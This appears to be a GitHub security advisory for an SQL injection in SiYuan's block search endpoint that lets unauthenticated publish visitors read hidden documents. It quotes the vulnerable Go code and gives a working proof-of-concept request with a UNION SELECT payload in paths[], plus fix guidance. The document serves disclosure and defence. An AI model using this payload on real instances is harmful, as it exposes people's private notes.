Skip to content

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

High severity GitHub Reviewed Published Jul 2, 2026 in siyuan-note/siyuan • Updated Sep 2, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260704035518-d0f0fe146fb0

Patched versions

0.0.0-20260704035518-d0f0fe146fb0

Description

Summary

Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.

An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.

Affected Code

The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:

if method == 2 && !model.IsAdminRoleContext(c) {
    ret.Code = -1
    ret.Msg = "SQL search requires administrator privileges"
    return
}

blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

Source: input/siyuan/kernel/api/search.go

paths[] is parsed into notebook IDs and paths without SQL escaping or validation:

path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
    boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
    paths = append(paths, path)
}

Source: input/siyuan/kernel/api/search.go

Those values are then concatenated directly into SQL:

builder.WriteString(fmt.Sprintf("box = '%s'", box))
builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))

Source: input/siyuan/kernel/model/search.go

Regexp search executes the resulting statement:

stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)

Source: input/siyuan/kernel/model/search.go

The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:

for _, block := range blocks {
    passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
    if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
        ret = append(ret, block)
    }
}

Source: input/siyuan/kernel/model/publish_access.go

Attack Scenario

  1. A Siyuan instance enables the publish service.
  2. At least one document is visible to publish visitors.
  3. At least one document is hidden from publish visitors.
  4. The attacker sends a crafted paths[] value to the publish service's /api/search/fullTextSearchBlock endpoint.
  5. The injected SQL selects content from the hidden document while projecting the visible document's box and path.
  6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.

Proof of Concept

POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json

{
  "query": "SECRET-LIVE-SQLI-20260609",
  "method": 3,
  "page": 1,
  "pageSize": 10,
  "paths": [
    "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
  ]
}

VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.

Validation

Setup:

  • Started b3log/siyuan:latest with an isolated temporary workspace.
  • Created one notebook.
  • Created a visible document containing public apple marker.
  • Created a hidden document containing SECRET-LIVE-SQLI-20260609 apple marker.
  • Marked the hidden document invisible with POST /api/filetree/setPublishAccess.
  • Enabled publish mode with POST /api/setting/setPublish.
  • Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.

Control request through the publish service for the hidden marker returned no blocks:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [],
    "docMode": false,
    "matchedBlockCount": 1,
    "matchedRootCount": 1,
    "pageCount": 1
  }
}

The injected request through the publish service returned the hidden block:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [
      {
        "box": "20260609095146-19hud1e",
        "path": "/20260609095209-1ljs6o7.sy",
        "hPath": "/HiddenDoc",
        "id": "20260609095209-gttlrue",
        "rootID": "20260609095209-yaz7i3h",
        "parentID": "20260609095209-yaz7i3h",
        "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
        "markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
        "type": "NodeParagraph"
      }
    ],
    "docMode": false,
    "matchedBlockCount": 0,
    "matchedRootCount": 0,
    "pageCount": 0
  }
}

The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.

Impact

An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.

Remediation

Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:

box = ?
path LIKE ?

Then pass the user-controlled notebook ID and path prefix as query arguments.

Additional hardening:

  • Validate notebook IDs before query construction.
  • Validate document paths against Siyuan's normalized .sy path format.
  • Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.
  • Add regression tests for publish reader-role requests where paths[] contains SQL metacharacters such as ', ), UNION, and --.

References

@88250 88250 published to siyuan-note/siyuan Jul 2, 2026
Published by the National Vulnerability Database Jul 9, 2026
Published to the GitHub Advisory Database Sep 2, 2026
Reviewed Sep 2, 2026
Last updated Sep 2, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(41st percentile)

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

CVE-2026-59834

GHSA ID

GHSA-h89q-4j2h-7h88

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.